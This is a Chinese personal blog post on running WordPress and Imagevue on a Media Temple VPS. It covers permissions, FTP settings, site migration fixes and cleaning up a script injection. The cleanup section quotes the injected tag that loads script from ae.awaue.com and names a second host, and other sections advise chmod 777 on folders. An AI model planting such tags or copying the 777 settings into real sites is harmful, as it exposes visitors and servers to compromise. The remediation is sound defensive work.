Tag: 程序架设

配置(dv)服务器

准备好了吗?确定要玩VPS,要玩(dv)吗?那就开始吧……

让你的空间帐号获得基本权限(可以用chmod了)

在AccountCenter中,Enable “Root Access”,因为你需要用到更高权限的root帐号。我的理解是,默认情况下,mt给VPS设置了较高的权限。开启以后,马上就要派上用场了,首先,把几个角色加入到权限组里:

vi /etc/group
找到:psacln:x:505:
改为:psacln:x:505:apache,psaftp,psaadm

保存。第一步准备工作就做完了。更多查看参考文档

关于文件夹权限

有两个文件夹的权限,需要先设置一下,保证WP能够安装和正常发文章。
将存放你WP的目录权限设置为”775“,如:chmod 775 wordpress
这样就可以手动安装WP了。

安装好以后,修改wp-content的权限,没错,为了上传图片。
如:chmod 775 wordpress/wp-content
这样就可以在文章里插入图片了,不会再有什么没权限建立uploads目录之类的提示了。
新注:当系统自动创建好“uploads”文件夹后,给它775权限,这样就可以把“wp-content”降为755了。

如果安装“WP-Super-Cache”,需要对文件夹权限进行调整:

  1. 先将“wp-content”设置成777,以便插件有足够权限运行
  2. 配置好“WP-Super-Cache”后,会提示你“wp-content”的权限过高,这时把权限降为755

走到这已经不容易了,基本可以正常使用。

我说基本可以正常使用,是因为还有一个问题需要解决。
系统自动升级和在线安装插件、主题时,会询问你FTP用户名,密码。
这个问题超恶心,查了很久才明白,就是因为管理FTP的帐户和创建者不在一个权限组,权限不同,导致需要验证。开始我还四处找解决办法,后来想想也不是什么大不了的事,无非安装时输入下用户名、密码。

如果你嫌这样太麻烦……办法总比问题多,把下面这段贴到wp-config.php里,自己修改对应的字段:

define('FTP_BASE', '/httpdocs/');
define('FTP_CONTENT_DIR', '/httpdocs/wp-content/');
define('FTP_PLUGIN_DIR ', '/httpdocs/wp-content/plugins/');
define('FTP_USER', '<FTP_Username>');
define('FTP_PASS', '<FTP_Password>');
define('FTP_HOST', 'ftp.example.com:21');

到此服务器配置部分折腾差不多了,几个重要问题都解决了。目前没有探出新问题,等遇到再补。

WordPress on (dv) 走起!

解决WordPress搬家后前后台无法显示问题

完整的说应该是:解决WordPress因搬家导入数据后,后台无法登录、前台显示白板的问题。

在phpmyadmin中导入备份的.sql文件,然后登录新的后台:

  1. 如无法登录,提示密码错,通过密码找回,来重置一下;
  2. 如登录后跳转到原域名,在phpmyadmin中,找到”option”表,修改url即可。如把“www.b3inside.com”改为“blog.b3inside.com”,就不会再跳转了。

前台显示为白板:

  1. 登录后台,“设置”——“固定链接”,什么都不用改,直接保存设置,就当刷新一次设置。
  2. 还白板?在“外观”——“主题”中,重新选择一个主题,启用即可。

问题都不大,但都挺膈应人的。

WordPress重定向漏洞

今天访问自己blog时突然发现特慢,半天右栏都没加载出来。看了下状态栏,发现卡在一个url上过不去(http://ae.awaue.com/7),我想了又想,重来没有调用过外站资源,特别时这个陌生的站。第一反应就是可能被挂马了,上网查了一下没有太具体的说法,访问了下上面这个url也打不开,心生可疑。因为首页里只发现两条如下脚本,想实在没有方法解决,就先干掉这两个,过段时间看看情况。

<script src="http://ae.awaue.com/7"></script>

症状:

  • 浏览你网站文章的用户可能被重定向的第三方网站。(我今天遇到过一次,开始还纳闷我是点了什么跳到一个不认识的网站去的)
  • 也可能被重定向到googlesearch.com,不过这个已被禁用。

但好在最后还是依赖(mt)自己的wiki解决了这个问题,我绝非第一个遇到这问题,以后可能会复发,别的WPer也可能遇到,留个存档,出问题好回查。

解决方案如下,范讲一下,不只针对(mt)主机:

  • 登录你主机的管理后台,进入数据库管理,也就是mysqladmin
  • 在左边列表里找到你的wordpress所在数据库,如db_blog
  • 点击进入后,在顶部找到”SQL”一项,点击
  • 然后我们在输入框里输入以下语句,目的查找wp_posts里所有信息,并替换掉其中有害信息:

UPDATE wp_posts SET post_content = replace( post_content, '<script src="http://ae.awaue.com/7"></script>', ' ')

  • 接下来运行这段语句
  • 最后看一下影响了多少行,如果是0,说明你还没中招。我的跑了一下共替换了1200多条……

需要注意的是:上面的例子语句是举的默认情况,如果你的表名不是以wp_开头的,请换成你自己的,不要直接复制粘贴。

目前已发现的可疑脚本有以下两个:

  • ae.awaue.com/7
  • ie.eracou.com/3

如果未来发现有新的可疑脚本,请随时留意这里的更新

Imagevue架在(mt)上遇到的问题与解决

年前给我的Flickr续费,直接买了两年。两天后,Flickr farm5集群被封,导致很多新照片都看不到了。就连现在我自己更新图片都要翻墙更新才行,我在考虑要不要把图片名称、描述、Tag等都改成英文,以便扩大在海外的知名度……

在欣赏过一个朋友的图片专题后,被画面和音乐深深感动,决定搭一个环境给自己,记录属于自己的感动。相册程序采用Imagevue,Flash+PHP的,效果很炫,同时能给我充分的定制空间。不过原本简单的事,折腾了我一天,上传到我的mediatemple后一直停在首页loading,无法进行下一步。在本地环境设置好的,怎么可能放到正式环境显示不出来?

按照相关说明,把所有文件夹chmod 777了,还是出不来。但只是前台,后台管理界面可以进,断定程序没问题,可能是某个文件丢失或加载有问题。最后终于找到原因,原来语言包xml加载失败,导致卡在loading界面:

上图标红处就是问题所在。FTP上去查看文件都在,并没有缺失,点过去却找不到文件。最后居然是因为严格区分大小写问题,后台setting-language里,我写的是English,后改成english,问题解决。

上图红框处,必须小写。之所以开始想都没想过,是因为在后台Language里给的提示就是English,我直接粘过来的……

同时,正如各位网友所说,Imagevue对中文的支持确实不咋地,慎用。图片名称和描述用中文,可能会出现菜单无法弹开、无法查看下一张图片。还有在Firefox下点图片,会出横竖滚动条,还没查,希望是样式问题,官网demo也有同样问题。